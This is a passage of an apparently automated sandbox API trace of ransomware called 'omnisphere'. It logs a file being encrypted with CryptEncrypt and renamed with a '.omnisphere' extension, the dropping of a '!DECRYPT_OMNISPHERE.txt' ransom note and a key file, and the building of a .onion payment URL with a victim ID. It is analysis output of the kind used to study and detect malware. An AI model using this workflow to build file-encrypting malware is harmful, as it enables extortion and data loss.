pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.445] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.445] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0126.445] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x358, lpName=0x0) returned 0x288 [0126.445] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x358) returned 0x1480000 [0126.445] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0126.446] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.446] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.446] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.447] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.448] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.448] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0126.448] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.448] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.448] GetProcessHeap () returned 0x1600000 [0126.448] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16d6040 [0126.448] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kszqxt71d.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kszqxt71d.lnk.omnisphere")) returned 1 [0126.449] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk.omnisphere.id" [0126.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kszqxt71d.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.450] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.451] CloseHandle (hObject=0x3c0) returned 1 [0126.451] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.451] CloseHandle (hObject=0x288) returned 1 [0126.451] SetEndOfFile (hFile=0x28c) returned 1 [0126.451] FlushFileBuffers (hFile=0x28c) returned 1 [0126.455] CloseHandle (hObject=0x28c) returned 1 [0126.455] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.455] GetProcessHeap () returned 0x1600000 [0126.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.455] GetProcessHeap () returned 0x1600000 [0126.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d59d8 [0126.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d59d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.455] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.455] GetProcessHeap () returned 0x1600000 [0126.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d80c8 [0126.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d80c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.455] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.455] GetProcessHeap () returned 0x1600000 [0126.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c05b0 [0126.455] PathCombineW (in: pszDest=0x16c05b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.455] GetProcessHeap () returned 0x1600000 [0126.456] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ce0f8 [0126.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.456] WriteFile (in: hFile=0x28c, lpBuffer=0x16ce0f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ce0f8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.456] CloseHandle (hObject=0x28c) returned 1 [0126.456] GetProcessHeap () returned 0x1600000 [0126.456] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.456] GetProcessHeap () returned 0x1600000 [0126.456] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.456] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.456] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.456] CloseHandle (hObject=0x28c) returned 1 [0126.457] GetProcessHeap () returned 0x1600000 [0126.457] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.457] GetProcessHeap () returned 0x1600000 [0126.457] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656eb0 | out: hHeap=0x1600000) returned 1 [0126.457] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d2cb57, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22d2cb57, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22d2cb57, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="kYulOFrPXpRI1BDR.lnk", cAlternateFileName="KYULOF~1.LNK")) returned 1 [0126.457] GetProcessHeap () returned 0x1600000 [0126.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16c0668 [0126.457] PathCombineW (in: pszDest=0x16c0668, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="kYulOFrPXpRI1BDR.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk" [0126.457] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kyulofrpxpri1bdr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.457] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=996) returned 1 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.457] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] GetTickCount () returned 0x115f8f3 [0126.458] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ce0) returned 1 [0126.459] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.459] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: 